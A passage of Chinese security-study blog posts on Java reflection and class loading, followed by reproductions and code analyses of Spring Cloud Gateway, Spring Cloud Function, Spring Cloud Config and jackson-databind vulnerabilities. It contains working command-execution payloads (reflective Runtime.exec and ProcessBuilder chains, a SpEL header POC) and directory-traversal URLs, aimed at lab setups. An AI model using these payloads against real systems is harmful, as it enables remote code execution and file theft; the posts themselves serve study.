lect.Proxy类，这两个类互相配合，其中Proxy类是入口，Proxy类是用来创建一个代理对象的类，它提供了以下方法：staticInvocationHandlergetInvocationHandler(Objectproxy):该方法主要用于获取指定代理对象所关联的调用程序。staticClass&lt;?&gt;getProxyClass(ClassLoaderloader,Class&lt;?&gt;…interfaces):该方法主要用于返回指定接口的代理类staticObjectnewProxyInstance(ClassLoaderloader,Class&lt;?&gt;[]interfaces,InvocationHandlerh):该方法主要返回一个指定接口的代理类实例，该接口可以将方法调用指派到指定的调用处理程序。staticbooleanisProxyClass(Class&lt;?&gt;cl):当且仅当指定的类通过getProxyClass方法或者newProxyInstance方法动态生成为代理类时，返回true。该方法的可靠性对于使用它做出安全策略而言非常重要，所以它的实现不应仅测试相关的类是否可以拓展Proxy。在上述方法中，最常用的newProxyInstance方法，该方法的作用是创建一个代理类对象，它接收三个参数：loader、interfaces以及h：loader：这是一个ClassLoader对象，定义了由哪个ClassLoader对象对生成的代理类进行加载。interfaces：这是代理类要实现的接口列表，表示用户将要给代理对象提供的接口信息。如果提供了这样一个接口对象数组，就是声明代理类实现了这些接口，代理类即可调用接口中声明的所有方法。h：这是指派方法调用的调用处理程序，是一个InvocationHandler对象，表示当动态代理对象调用方法时会关联到哪一个InvocationHandler对象上，并最终由其调用。InvocationHandler接口Java.lang.reflectInvocationHandler，主要方法为Objectinvoke(Objectproxy,Methodmethod,Object[]args)，该方法定义了代理对象调用方法时希望执行的动作，用于集中处理在动态代理类对象上的方法调用。Invoke有三个参数：proxy、method、args，含义如下：proxy：在其上调用方法的代理实例method：对应于在代理实例上调用的接口方法的Method实例。Method对象的声明类将是在其中声明方法的接口，该接口可以是代理类赖以继承方法的代理接口的超接口。args：包含传入代理实例上方法调用的参数值的对象数组，如果接口方法不使用参数，则为null。基本类型的参数被包装在适当基本包装器类的实例中。CGLib代理CGLib（CodeGenerationLibrary）是⼀个第三⽅代码⽣成类库，运⾏时在内存中动态⽣成⼀个⼦类对象，从⽽实现对⽬标对象功能的扩展。与动态代理不同的是，动态代理是基于Java反射机制实现的，必须实现接⼝的业务类才能使⽤这种办法⽣成代理对象。⽽CGLib则是基于ASM机制实现，通过⽣成业务类的⼦类作为代理类。与动态代理相⽐，动态代理限制了只能基于接⼝设计，对于没有接⼝的情况，JDK⽅式⽆法解决，⽽CGLib则可以解决这⼀问题；其次，CGLib采⽤了⾮常底层的字节码技术，性能表现也很不错。</li>
  <li>Java程序是由class文件组成的一个完整的应用程序。在程序运行时，并不会一次性加载所有class文件进入内存，而是通过Java的类加载机制进行动态加载，从而转换成java.lang.Class类的一个实例。ClassLoader类ClassLoader是一个抽象类，主要的功能是通过指定的类的名称，找到或生成对应的字节码，返回一个java.lang.Class类的实例。开发者可以继承ClassLoader类来实现自定义的类加载器。ClassLoader类中和加载器相关的方法：方法说明getParent()返回该类加载器的父类加载器loadClass(Stringname)加载名称为name的类，返回的结果是java.lang.Class类的实例findClass(Stringname)查找名称为name的类，返回的结果是java.lang.Class类的实例findLoadedClass(Stringname)查找名称为name的已经被加载过的类，返回的结果是java.lang.Class类的实例defineClass(Stringname,byte[]b,intoff,intlen)把字节数组b中的内容转换为Java类，返回的结果是java.lang.Class类的实例，该方法被声明为finalresolveClass(Class&lt;?&gt;c)链接指定的Java类loadClass()方法的流程loadClass方法可以加载类并返回一个java.lang.Class类对象。通过下边的代码可以看出：当loadClass()方法被调用时，会首先使用findLoadedClass()方法判断该类是否已经被加载，如果未被加载，则优先使用加载器的父类加载器进行加载。当不存在父类加载器时，无法对该类进行加载，则会调用自身的findClass()方法，因此可以重写findClass()方法来完成一些类加载的特殊要求。上边的流程被称为：双亲委托机制通俗点来说就是如果一个类加载器收到了类加载的请求，它首先不会自己去尝试加载这个类，而是把这个请求委派给父类加载器去完成，每一个层次的类加载器都是如此，因此所有的类加载请求最终都应该传送到顶层的启动类加载器中，只有当父类加载器反馈自己无法完成这个加载请求（它的搜索范围中没有找到所需的类）时，子加载器才会尝试自己去加载。双亲委派机制的实现：首先检查请求的类是否已经被加载未加载，则请求父类加载器去加载对应路径下的类如果加载不到，才由下边的字类去加载自定义的类加载器根据loadClass()方法的流程，可以发现通过重写findClass()方法，利用defineClass()方法来将字节码转换成java.lang.class类对象，就可以实现自定义的类加载器。loadClass()方法与Class.forName()的区别loadClass()方法只会对类进行加载，不会对类进行初始化。Class.forName()会默认对类进行初始化，当对类进行初始化时，静态的代码块就会得到执行，而代码块和构造函数则需要适合的类实例化才能得到执行。publicclassloadClass_forName{static{System.out.println("静态代码执行");}{System.out.println("代码块执行");}publicloadClass_forName(){System.out.println("构造方法执行");}}publicclassClassLoaderTest{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Class.forName("loadClass_forName");ClassLoader.getSystemClassLoader().loadClass("loadClass_forName");}}结果输出：静态代码执行URLClassLoaderURLClassLoader类是ClassLoader的一个实现，拥有从远程服务器上加载类的能力。通过URLClassLoader可以实现对一些Webshell的远程加载、对某个漏洞的深入利用。</li>
  <li>Java反射一、定义Java反射机制是在程序运行状态下，对于任意一个类，都能知道这个类的所有属性和方法；对于任意一个对象，都能调用这个对象的任意方法和属性；这样动态或者以及动态调用的功能就叫反射。二、基本运用获取类对象forName()方法如果要使用Class类中的方法获取类对象，就需要使用forName方法，只需要类名称即可。这种方法并不陌生，在配置JDBC的时候，我们通常使用这种方法。publicclassforname{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Classname=Class.forName("java.lang.Runtime");System.out.println(name);}}直接获取任何数据类型都具备静态的属性，因此可以使用.class直接获取其对应的Class对象，但要明确用到类中的静态成员。publicclassdirect{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Classname=Runtime.class;System.out.println(name);}}getClass()方法我们可以通过Object类中的getClass方法来获取字节码对象，不过这种方法较为繁琐，必须先要明确具体的类，然后创建对象a，然后a.getClass()获取。publicclassgetClass{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Runtimert=Runtime.getRuntime();Classname=rt.getClass();System.out.println(name);}}getSystemClassLoader().loadClass方法该方法与forName方法类似，只要有类名称即可，但是与forName方法有些区别：forName的静态方法JVM会装载类，并且执行static()中的代码；getSystemClassLoader().loadClass()不会执行static()中的代码；比如前边提到的JDBC就是利用forName方法，使JVM查找并加载制定的类到内存，此时将”com.mysql.jdbc.Driver”当作参数传入，就是告知JVM去”com.mysql.jdbc”路径下查找Driver类，并将其加载到内存中。publicclassgetSystemClassLoader_loadClass{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Class&lt;?&gt;name=ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");System.out.println(name);}}获取类方法getDeclaredMethods方法该方法返回类或接口声明的所有方法，包括public、protected、private和默认方法，但不包括继承的方法。importjava.lang.reflect.Method;publicclassgetDeclaredMethods{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Class&lt;?&gt;name=Class.forName("java.lang.Runtime");Method[]declaredMethods=name.getDeclaredMethods();System.out.println("通过getDeclaredMethods方式获取方法：");for(Methodm:declaredMethods)System.out.println(m);}}getMethods方法该方法返回某个类的所有public方法，包括其继承类的public方法。importjava.lang.reflect.Method;publicclassgetMethods{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Runtimert=Runtime.getRuntime();Class&lt;?&gt;name=rt.getClass();Method[]methods=name.getMethods();System.out.println("通过getMethods方式获取的方法：");for(Methodm:methods)System.out.println(m);}}getMethod方法该方法只能返回一个特定的方法，如Runtime类中的exec方法，该方法的第一个参数为方法名称，后边的参数为方法的参数对应Class的对象。importjava.lang.reflect.Method;publicclassgetMethod{publicstaticvoidmain(String[]args)throwsClassNotFoundException,NoSuchMethodException{Runtimert=Runtime.getRuntime();Class&lt;?&gt;name=rt.getClass();Methodmethod=name.getMethod("exec",String.class);System.out.println("通过getMethod方式获取的方法：");System.out.println(method);}}getDeclaredMethod方法该方法与getMethod方法类似，也只能返回一个特定的方法，该方法的第一个参数为方法名，第二个是方法参数。importjava.lang.reflect.Method;publicclassgetDeclaredMethod{publicstaticvoidmain(String[]args)throwsClassNotFoundException,NoSuchMethodException{Runtimert=Runtime.getRuntime();Class&lt;?&gt;name=rt.getClass();Methodmethod=name.getDeclaredMethod("exec",String.class);System.out.println("通过getDeclaredMethod方式获取的方法：");System.out.println(method);}}获取类成员变量getDeclaredFields方法该方法可以获得类的成员变量数组，包括public、private和proteced，但是不包括父类的申明字段。importjava.lang.reflect.Field;publicclassgetDeclaredFields{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Studentstudent=newStudent();Class&lt;?&gt;name=student.getClass();Field[]getDeclaredFields=name.getDeclaredFields();System.out.println("通过getDeclaredFields方式获取的方法：");for(Fieldf:getDeclaredFields)System.out.println(f);}}getFields方法该方法能够获得某个类的所有public字段，包括父类中的字段。importjava.lang.reflect.Field;publicclassgetFields{publicstaticvoidmain(String[]args)throwsClassNotFoundException{Studentstudent=newStudent();Class&lt;?&gt;name=student.getClass();Field[]getFields=name.getFields();System.out.println("通过getFields方式获取的字段：");for(Fieldf:getFields)System.out.println(f);}}getDeclaredField方法该方法与getDeclaredFields的区别是只能获取类的单个成员变量importjava.lang.reflect.Field;publicclassgetDeclaredField{publicstaticvoidmain(String[]args)throwsClassNotFoundException,NoSuchFieldException{Studentstudent=newStudent();Class&lt;?&gt;name=student.getClass();FieldgetDeclaredField=name.getDeclaredField("name");System.out.println("通过getDeclaredField方式获取方法：");System.out.println(getDeclaredField);}}getField方法与getFields方法类似，该方法能够获得某个类特定的public字段，包括父类中的字段importjava.lang.reflect.Field;publicclassgetField{publicstaticvoidmain(String[]args)throwsClassNotFoundException,NoSuchFieldException{Studentstudent=newStudent();Class&lt;?&gt;name=student.getClass();FieldgetField=name.getField("content");System.out.println("通过getField方式获取方法：");System.out.println(getField);}}</li>
  <li>说在前边：该文章是P牛在知识星球中的Java安全漫谈所讲，自己学习后做下记录。什么是反射反射是⼤多数语⾔里都必不可少的组成部分，对象可以通过反射获取他的类，类可以通过反射拿到所有方法(包括私有)，拿到的方法可以调用，总之通过“反射”，我们可以将Java这种静态语言附加上动态特性：一段代码，改变其中的变量，将会导致这段代码产⽣功能性的变化，我们称之为动态特性。PHP本身拥有很多动态特性，所以可以通过“一句话⽊⻢”来执行各种功能，Java虽不像PHP那么灵活，但其提供的“反射”功能，也是可以提供一些动态特性。比如，这样一段代码，在你不知道传入的参数值的时候，你是不知道他的作用是什么的:publicvoidexecute(StringclassName,StringmethodName)throwsException{Classclazz=Class.forName(className);clazz.getMethod(methodName).invoke(clazz.newInstance());}上边的例子中，我们演示了几个在反射中极为重要的方法：获取类的方法：forName实例化类对象的方法：newInstance获取函数的方法：getMethod执行函数的方法：invoke基本上，这⼏个方法包揽了Java安全里各种和反射有关的Payload。forName不是获取类的唯一途径，通常来说我们有以下三种方式获取一个类，也就是java.lang.Class对象：obj.getClass()如果上下文中存在某个类的实例obj，那么我们可以直接通过obj.getClass()获取它的类Test.Class()如果你已经加载了某个类，只是想获取到它的java.lang.Class对象，那么就直接拿它的class属性即可。这个⽅法其实不不属于反射。Class.forName()如果你知道某个类的名字，想获取到这个类，就可以使用forName来获取在安全研究中，我们使用反射的目的有很多，其中之一就是用于绕过某些沙盒，比如上下文中如果只有Integer类型的数字，那我们如何获取到可以执行命令的Runtime类呢?1.getClass().forName("java.lang.Runtime")forName有两个函数重载：Class&lt;?&gt;forName(Stringname)Class&lt;?&gt;forName(Stringname,booleaninitialize,ClassLoaderloader)第一个就是我们最常见的获取class的方法，其实可以理解为第二种方法的封装Class.forName(className)//等于Class.forName(className,true,currentLoader)默认情况下，forName的第一个参数是类名，第⼆个参数表示是否初始化，第三个参数就是ClassLoader。ClassLoader是什么呢?它就是⼀个“加载器”，告诉Java虚拟机如何加载这个类。关于这个点，后面还有很多有趣的漏洞利⽤⽅法，这⾥等我学习完成后再分享。Java默认的ClassLoader就是据类名来加载类，这个类名是类完整路径，如java.lang.Runtime。第二个参数initialize常常被人误解，比如：图中有说：”构造函数，初始化时执行”，其实在forName的时候，构造函数并不会执行，即使我们设置initialize=true，那么forName的初始化指的是什么？可以将这个初始化理解为类的初始化，我们来看下如下类：publicclassTrainPrint{{System.out.printf("Emptyblockinitial%s\n",this.getClass());}static{System.out.printf("Staticinitial%s\n",TrainPrint.class);}publicTrainPrint(){System.out.printf("Initial%s\n",this.getClass());}}我们可以想一下上述三个初始化方法有什么区别，执行顺序是什么？我们运行后发现，⾸先调用的是static{}，其次是{}，最后是构造函数。其中，static{}就是在“类初始化”的时候调用的，而{}中的代码会放在构造函数的TrainPrint()后面，但在当前构造函数内容的前面。所以说，forName中的initialize=true其实就是告诉Java虚拟机是否执行”类初始化“。那么，假设我们有如下函数，其中函数的参数name可控:publicvoidref(Stringname)throwsException{Class.forName(name);}我们就可以编写一个恶意类，将恶意代码放置在static{}中，从⽽执⾏:importjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{Runtimert=Runtime.getRuntime();String[]commands={"touch","/tmp/success"};Processpc=rt.exec(commands);pc.waitFor();}catch(Exceptione){//donothing}}}这个恶意类如何带入目标机器中，可能就涉及到ClassLoader的⼀些利用方法了。正常情况下，除了系统类，如果我们想要拿到一个类，需要先import导入才能使用，而使用forname就不需要，这样对我们攻击者特别有利，可以加载任意类。另外我们可能会在一些源码中看到类名的部分包含$符号，$的作用是查找内部类。Java的普通类c1中支持编写内部类c2，而在编译的时候会生成两个文件：c1.class和c1$c2.class，我们可以把他们看作两个不相关的类，通过Class.forName(“c1$c2”)即可加载这个内部类。获得类以后，我们可以继续使用反射获取这个类中的属性、方法等，也可以实例化这个类，调用方法。Class.newInstance()的作用是调用这个类的无参构造函数，但是有时候可能会调用失败，可能是以下两个原因：使用的类没有无参构造函数使用的类构造函数是私有的最常见的情况就是java.lang.Runtime,这个类在我们构造命令执行payload的时候很常见，但我们不能直接这样执行：Classclazz=Class.forName("java.lang.Runtime");clazz.getMethod("exec",String.class).invoke(clazz.newInstance(),"id");这样会报错：原因就是因为Runtime类的构造方法是私有的，这里有一个疑问就是如果是私有的构造方法，那用户怎么调用这个类，这里涉及到”单例模式”，以后再说，可以通过下边这个例子理解一下：对于web应用来说，数据库连接只需要建立一次，而不是每次连接都需要重新建立数据库，这个时候就可以把连接数据库的类的构造函数设置为私有，然后编写一个静态方法来获取：publicclassTrainDB{privatestaticTrainDBinstance=newTrainDB();publicstaticTrainDBgetInstance(){returninstance;}privateTrainDB(){//建立连接的代码...}}这样一来，只有类初始化的时候会执行一次构造函数，后面只能通过getInstance获取这个对象，避免建立多个数据库连接。所以说，Runtime类就是单例模式，我们只能通过Runtime.getRuntime()来获取到Runtime对象，然后修改下payload：Classclazz=Class.forName("java.lang.Runtime");clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");这里用到了getMethod和invoke方法。getMethod的作用是通过反射获取一个类的某个特定的公有方法，但是Java支持类的重载，我们不能仅通过一个函数名字就确定一个函数，所以在调用getMethod的时候，我们需要传给它你需要获取的函数的参数类型列表。比如：这里的Runtime.exec方法有6个重载，我们使用最简单的第一个，它只有一个参数，类型是string，所以我们使用getMethod(“exec”,String.class)来获取Runtime.exec方法。invoke的作用是执行方法，它的第一个参数是：如果这个方法是一个普通方法，那么第一个参数是类对象如果这个方法是一个静态方法，那么第一个参数是类我们正常执行方法是：1.method(2,3,4)在反射中是：method.invoke(1,2,3,4)所以我们分解一下上边的payload就是：Classclazz=Class.forName("java.lang.Runtime");MethodexecMethod=clazz.getMethod("exec",String.class);MethodgetRuntimeMethod=clazz.getMethod("getRuntime");Objectruntime=getRuntimeMethod.invoke(clazz);execMethod.invoke(runtime,"calc.exe");上边说了简单的命令执行payload，但是有两个问题：如果一个类没有无参构造方法，也没有类似单例模式中的静态方法，我们怎么通过反射实例化该类？如果一个方法或构造方法是私有方法，我们是否能执行它呢？第一个问题，我们需要用到一个新的反射方法getConstructor：和getMethod类似，getConstructor方法接收的参数是构造函数列表类型，因为构造函数也支持重载，所以必须用参数列表类型才能唯一确定一个构造函数。获取到构造函数后，我们使用newInstance来执行。比如，我们常用的另一种执行命令的方式ProcessBuilder，我们使用反射来获取其构造函数，然后使用start方法来执行：Classclazz=Class.forName("java.lang.ProcessBuilder");((ProcessBuilder)clazz.getConstructor(list.class).newInstance(Arrays.asList("calc.exe"))).start();ProcessBuilder有两个构造函数：publicProcessBuilder(Listcommand)publicProcessBuilder(String…command)上边用的是第一种情况，所以传入的是list.class。但是我们看到，前边这个payload用到了java的强制类型转换，有时候我们利用漏洞的时候是没有这种语法的，所以我们需要用反射来实现这一步：Classclazz=Class.forName("java.lang.ProcessBuilder");clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));首先通过getMethod获取到start方法，然后invoke执行，invoke的第一个参数就是ProcessBuilderObject。那么如果我们使用第二种情况publicProcessBuilder(String…command)这个构造函数，需要怎么用反射执行呢这又涉及到java中的可变长参数（varargs）了，和其他语言一样，java也支持可变长参数，比如定义函数的时候不确定参数的数量的时候，这时可以用…来代替，表示这个函数的参数是可变的。对于可变参数，java在编译的时候会编译为一个数组，也就是说下边这两种写法的作用是一样的：publicvoidhello(String[]names){}publicvoidhello(String...names){}由此，如果我们有一个数组，想传给hello函数，直接传即可String[]names={"hello","world"};hello(names);对于反射来说，我们想要获取函数中的可变长参数，其实我们认为他是可变长参数就可以了。所以，我们将字符串数组的类String[].class传给getConstructor，获取ProcessBuilder的第二种构造函数：Classclazz=Class.forName("java.lang.ProcessBuilder");clazz.getConstructor(String[].class)在调用newInstance的时候，因为这个函数本身接收的是可变长参数，我们传给ProcessBuilder的也是可变长参数，二者叠加为一个二维数组，所以payload为：Classclazz=Class.forName("java.lang.ProcessBuilder");((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(newString[][]calc.exe)).start();再说一下上边提到的第二个问题，如果一个方法或者构造方法是私有方法，我们能否执行它？这就涉及到getDeclared系列的反射了，与普通的getMethod、getConstructor的区别是：getMethod系列方法获取的是当前类中所有的公共方法，包括从父类继承的方法getDeclaredMethod系列方法获取的是当前类中声明的方法，是写在这个类中的，包括私有的方法，但是从父类继承的就不包含了getDeclaredMethod的具体用法和getMethod类似，getDeclaredConstructor的具体用法和getConstructor类似。举个例子，前边我们说过Runtime这个类的构造函数是私有的，我们需要用Runtime.getRuntime来获取对象，其实现在我们也可以直接用getDeclaredConstructor来获取这个私有的构造方法来实例化对象，进而执行命令:Classclazz=Class.forName("java.lang.Runtime");Constructorm=clazz.getDeclaredConstructor();m.setAccessible(true);clazz.getMethod("exec",String.class).invoke(m.newInstance(),"calc.exe");可见，这里使用了一个方法setAccessible，这个是必须的。我们在获取到一个私有方法后，必须用setAccessible修改它的作用域，否则仍然不能调用。</li>
  <li>一：漏洞简介SpringCloudGateway存在远程代码执行漏洞，该漏洞是发生在SpringCloudGateway应用程序的Actuator端点，其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可利用该漏洞通过恶意创建允许在远程主机上执行任意远程请求。二：影响版本SpringCloudGateWay3.1.0SpringCloudGateWay&gt;=3.0.0，&lt;=3.0.6SpringCloudGateWay&lt;3.0.0三：漏洞复现使用P牛的vulhub环境进行复现(https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22947)先POST请求创建route和filter然后POST请求/refresh，使新建的uri和filter生效然后GET请求/actuator/gateway/routes/test，触发spel，并得到回显四：漏洞分析首先我们去找到spring-cloud-gateway的commit记录，看看修改了哪些地方：https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e我们可以看到commit中改动了org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue方法（我们知道spel表达式执行会经常使用该方法）中用GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式。所以盲猜一波是spel表达式的rce然后我们搜索getValue方法的调用位置如下：我们点进去发现三个调用都位于org.springframework.cloud.gateway.support.ShortcutConfigurable内的枚举类ShortcutType中，并且都重写了normalize方法然后我们继续向上查找normalize方法都被谁调用我们发现最终都来到org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties方法中，我们看一下normalizeProperties方法：可以看到normalizeProperties方法中传入的是该类(ConfigurableBuilder)的properties变量，并且只有在该类的父类(AbstractBuilder)中的bind方法中才调用了normalizeProperties方法然后我们继续向上查看哪些调用了bind方法我们逐一排查后发现org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters方法中既调用了bind方法，还调用了properties方法，跟进properties方法发现该方法就是我们上边说到的org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties方法中刚好需要的properties成员变量，由此我们可以猜到该漏洞的触发条件可能来自于gatewayFilter的添加，并且从loadGatewayFilters方法继续向上的调用链如下：org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFiltersorg.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFiltersorg.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRouteorg.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes所以最后就是在添加filter时输入了spel表达式，被当作properties进行解析，最终导致恶意表达式被执行，从而实现rce。个人Github地址：https://github.com/Artio-Li/五：参考链接https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/https://www.cnblogs.com/bitterz/p/15964852.htmlhttps://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e</li>
  <li>一：漏洞简介SpringCloud中的serveless框架SpringCloudFunction中的RoutingFunction类的apply方法将请求头中的spring.cloud.function.routing-expression参数作为Spel表达式进行处理，造成Spel表达式注入，攻击者可通过该漏洞执行任意代码。二：影响版本3.0.0.RELEASE&lt;=SpringCloudFunction&lt;=3.2.2三：漏洞复现这里使用https://github.com/spring-cloud/spring-cloud-function中的项目进行复现将该项目clone下来后在idea中导入这个项目：spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo导入后等待idea下载完成依赖之后直接启动项目，启动完成后访问:127.0.0.1:8080出现以下页面代表启动成功：然后我们直接上burpPOCPOST/functionRouterHTTP/1.1Host:192.168.248.6:8080User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10.15;rv:98.0)Gecko/20100101Firefox/98.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateConnection:closeUpgrade-Insecure-Requests:1Content-Type:application/x-www-form-urlencodedspring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")Content-Length:7hhhhhhh使用burp直接发送poc可以看到靶机成功弹出计算器四：漏洞分析在Springcloud官网GitHub上给出了修复commithttps://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f并且官方还给出了poc简单来说就是在请求头中添加一个spring.cloud.function.routing-expression参数，SpringCloudFunction会直接将参数值带入SPEL中查询导致SPEL注入。那么，这个spring.cloud.function.routing-expression参数有啥用呢？这里借鉴神风大佬的一段话：漏洞是出在SpringCloudFunction的RoutingFunction功能上，其功能的目的本身就是为了微服务应运而生的，可以直接通过HTTP请求与单个的函数进行交互，同时为spring.cloud.function.definition参数提供您要调用的函数的名称。例如："POST/functionRouterHTTP/1.1Host:localhost:8080spring.cloud.function.definition:reverseStringContent-Type:text/plainContent-Length:3abc"其结果就会在页面上输出cba，因此我们只需要在header头上指定要调用的函数名称就可以对其进行调用。我们这里根据poc来跟一下它的利用过程：发送poc后程序会对读取我们输入的内容，首先来到org.springframework.cloud.function.web.util.FunctionWebRequestProcessingHelper#processRequest方法，程序会判断当前请求是否为RoutingFunction，并将我们提交的请求头和请求体内容编译成Message并且传入FunctionInvocationWrapper的apply方法中：我们跟入apply方法发现该方法又将参数信息传入doApply方法：继续跟入doApply方法：这里进行了一个简单的判断，然后执行到else，我们跟进RoutingFunction的apply方法apply方法最后会将数据return给org.springframework.cloud.function.context.config.RoutingFunction的route方法，route方法会判断请求头中有没有spring.cloud.function.routing-expression参数因为我们有该参数，所以程序进入到this.functionFromExpression()方法：最终由SpelExpressionParser来解析，导致Spel表达式注入。五：参考链接https://www.cnblogs.com/wh4am1/p/16062306.html</li>
  <li>一：漏洞简介SpringCloudConfig为分布式系统的外部配置提供客户端的服务端的支持。使用了它，开发人员就可以在一个中心仓库管理应用程序在所有环境中的外部配置。2020-02-26Spring收到漏洞报告,SpringCloudConfigServer存在目录穿越漏洞。在配置仓库为本地native的情况下，攻击者可以获取config-server服务器上的任意带后缀文件二：利用条件修改配置文件src/main/resources/configserver.yml主要是设置profiles.active为native设置search-locations为任意文件夹三：影响版本2.2.xpriorto2.2.22.1.xpriorto2.1.7四：漏洞复现从github下载spring-cloud-config模块：https://github.com/spring-cloud/spring-cloud-config/archive/v2.1.5.RELEASE.zip导入IDEA其中的spring-cloud-config-server模块，Maven+SpringBoot项目修改配置文件src/main/resources/configserver.yml主要是设置profiles.active为native设置search-locations为任意文件夹然后从ConfigServerApplication类启动，访问localhost:8888然后在上方设置的search-locations路径下随便创建一个文件，写点东西，然后尝试读取这个文件Payload：http://127.0.0.1:8888/1/1/..()..()..()..()..()..()..()..()..(_)Code/key.txthttp://127.0.0.1:8888/1/1/..%28%29..%28%29..%28%29..%28%29..%28%29..%28%29..%28%29..%28%29Code/key.txt访问后成功读取：五：漏洞分析ConfigServer通过路径/{name}/{profile}/{label}/{path}对外提供配置文件，POC会通过路由到这个接口然后我们先看下org\springframework\cloud\config\server\resource\ResourceController.java传入的参数代表的意思如下：name：仓库名称profile：配置文件环境（dev,test,pro）label：分支（1.0.0）**：通配子目录通过断点调试我们可以看到name、profile、label的值没看到path的值，这里path的值是通过getFilePath方法解析之后得到的，跟进getFilePath可以看到getFilePath方法中将path解析成了我们的文件名，然后通过format方法拼接了我们传入的参数，然后returnpath的值，继续往下可以看到getFilePath方法的值会传入retrieve方法，跟进可以看到retrieve方法中将name和label传入了resolveName和resolveLabel，我们跟进看看resolveName方法的作用是将(_)替换成/，但是条件不满足，返回resolveLabel方法也是将(_)替换成/并且条件满足，所以我们的数据被替换成了../../../../../../../../../Code继续往下，程序执行到findOne方法，跟进看看进入到findOne方法中，可以看到这个方法中this.service.getLocations应该是调用配置文件（也就是我们之前配置的那个），然后跟我们传入的参数重新拼接，得到两个路径：后边的getProfilePaths方法是根据profile构造文件路径，最后得到我们传入的值。在下边我们看到程序做了非法路径的判断，但是是针对path的，而我们的payload是在label中：最后我们成功读取了文件六：参考链接https://4ra1n.love/post/hwsaMZANl/https://www.freebuf.com/news/232744.html</li>
  <li>一：漏洞简介FasterXMLJackson是美国FasterXML公司的一款适用于Java的数据处理工具。jackson-databind是其中的一个具有数据绑定功能的核心组件之一。FasterXMLjackson-databind2.x&lt;2.9.10.8的版本存在该漏洞，该漏洞是由于org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS组件库存在不安全的反序列化，导致攻击者可以利用漏洞实现远程代码执行。二：利用条件开启enableDefaultTyping()使用了com.h2database\com.newrelic.agent.java第三方依赖库三：漏洞复现环境搭建使用idea的maven项目进行环境搭建，操作如下所示：新建一个项目，选择maven填好项目名称和路径后点击Finish，idea会自动创建一个项目初始状态如图所示:接下来替换漏洞需要的pom.xml，然后保存，idea会自动下载依赖如果没有自动下载，可以点击这里手动加载接下来可以在src-&gt;main-&gt;java-&gt;poc.java创建一个poc.java文件然后需要启一个web服务并在目录下放入exec.sql这个sql文件用于反序列化成功后执行命令然后启动web服务并监听某端口然后执行java文件会发现已弹出计算器踩坑记录执行java文件时报错程序包com.fasterxml.jackson.databind不存在这个问题我们需要在项目根目录依次执行以下命令：mvncleaninstall-Dmaven.test.skip=truemvn-Uidea:idea然后我们会看见BUILDSUCCESS字样代表安装成功如果发现执行完命令后出现error报错并且发现BUILDFAILURE字样，这时候可以尝试切换不同版本的mvn试试，可能与jdk版本以及mvn版本有关，如下：然后我们继续执行java文件可能会报错：这个错误是因为ObjectMapper的默认配置问题，我们需要更改ObjectMapper的默认配置，如上图所示新增一行代码或者已注释的部分代码都可以解决该问题还有可能遇到的问题是pom文件中配置了jackson的相关信息但是并没有起作用，还是报程序包com.fasterxml.jackson.databind不存在，这时我们可以尝试把这三个依赖的版本设置为同样的版本，并且重新加载maven。还有可能遇到程序报错：mapper.enableDefaultTyping();方法已过期，这时我们需要在pom.xml中查看jackson-databind版本是否&gt;=2.10.0，JacksonObjectMapper中的enableDefaultTyping方法从2.10.0开始标记为过期，这时我们可以使用activateDefaultTyping方法来替代它或者切换版本到小于2.10.0版本。个人github：https://artio-li.github.io/五：参考链接https://github.com/Al1ex/CVE-2020-36179https://cn-sec.com/archives/245131.htmlhttps://stackoverflow.com/questions/23469784/com-fasterxml-jackson-databind-exc-unrecognizedpropertyexception-unrecognized-f#https://blog.csdn.net/ls0111/article/details/77507340https://segon.cn/jackson-objectmapper-enabledefaulttyping-deprecated.html</li>
